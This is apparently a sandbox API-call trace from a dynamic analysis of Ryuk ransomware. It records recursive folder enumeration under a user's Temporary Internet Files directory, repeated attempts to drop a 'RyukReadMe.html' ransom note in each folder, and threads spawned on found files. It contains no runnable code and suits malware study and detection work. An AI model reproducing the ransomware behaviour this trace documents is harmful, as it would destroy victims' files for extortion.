	[0258.194] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.MSO\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.mso\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.194] GetLastError () returned 0x3
	[0258.194] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0258.194] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.194] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x27b4c650, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Content.Word", cAlternateFileName="CONTEN~1.WOR")) returned 1
	[0258.195] SetLastError (dwErrCode=0x0) 
	[0258.195] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0258.195] GetLastError () returned 0xb7
	[0258.195] CloseHandle (hObject=0x870) returned 1
	[0258.196] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0258.197] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.197] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0258.197] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0258.197] SetLastError (dwErrCode=0x0) 
	[0258.198] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Content.Word\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\content.word\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0258.198] GetLastError () returned 0x3
	[0258.198] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0) returned 0
	[0258.198] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0258.198] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28ea2560, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28ea2560, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe710360, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0258.198] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1ca, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1
	[0258.198] SetLastError (dwErrCode=0x0) 
	[0258.198] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x870
	[0258.198] GetLastError () returned 0xb7
	[0258.198] CloseHandle (hObject=0x870) returned 1
	[0258.199] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0258.200] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0258.200] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1
	[0258.200] SetLastError (dwErrCode=0x0) 
	[0258.200] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864
	[0259.603] GetLastError () returned 0x0
	[0259.603] WriteFile (in: hFile=0x864, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10c8b8*=0x273, lpOverlapped=0x0) returned 1
	[0259.606] CloseHandle (hObject=0x864) returned 1
	[0259.606] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0259.607] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.607] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x204, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 1
	[0259.607] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0259.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860
	[0259.610] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0259.611] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x204, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 0
	[0259.611] FindClose (in: hFindFile=0x29f220 | out: hFindFile=0x29f220) returned 1
	[0259.611] SetLastError (dwErrCode=0x0) 
	[0259.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\AntiPhishing\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\antiphishing\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.612] GetLastError () returned 0x3
	[0259.612] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0259.612] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.612] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1fc, dwReserved1=0x0, cFileName="Content.IE5", cAlternateFileName="")) returned 1
	[0259.612] SetLastError (dwErrCode=0x0) 
	[0259.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x864
	[0259.612] GetLastError () returned 0xb7
	[0259.612] CloseHandle (hObject=0x864) returned 1
	[0259.613] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f220
	[0259.614] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0259.614] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="9QH4S0GZ", cAlternateFileName="")) returned 1
	[0259.615] SetLastError (dwErrCode=0x0) 
	[0259.615] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.615] GetLastError () returned 0x3
	[0259.615] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.615] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0259.615] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.615] SetLastError (dwErrCode=0x0) 
	[0259.615] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.615] GetLastError () returned 0x3
	[0259.615] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.615] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.616] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x467cf930, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x467cf930, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="ABV8L7MY", cAlternateFileName="")) returned 1
	[0259.616] SetLastError (dwErrCode=0x0) 
	[0259.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.616] GetLastError () returned 0x3
	[0259.616] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.616] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.616] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0259.616] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0259.616] SetLastError (dwErrCode=0x0) 
	[0259.616] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\ABV8L7MY\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\abv8l7my\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.616] GetLastError () returned 0x3
	[0259.616] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.616] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.617] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x204, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0259.617] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x527ba6f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x527ba6f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x204, dwReserved1=0x0, cFileName="IKQEEPZR", cAlternateFileName="")) returned 1
	[0259.617] SetLastError (dwErrCode=0x0) 
	[0259.617] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0259.617] GetLastError () returned 0x3
	[0259.617] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c188, lpOverlapped=0x0) returned 0
	[0259.617] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0259.617] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\*.*", lpFindFileData=0x10bb10 | out: lpFindFileData=0x10bb10*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21e, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0259.617] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
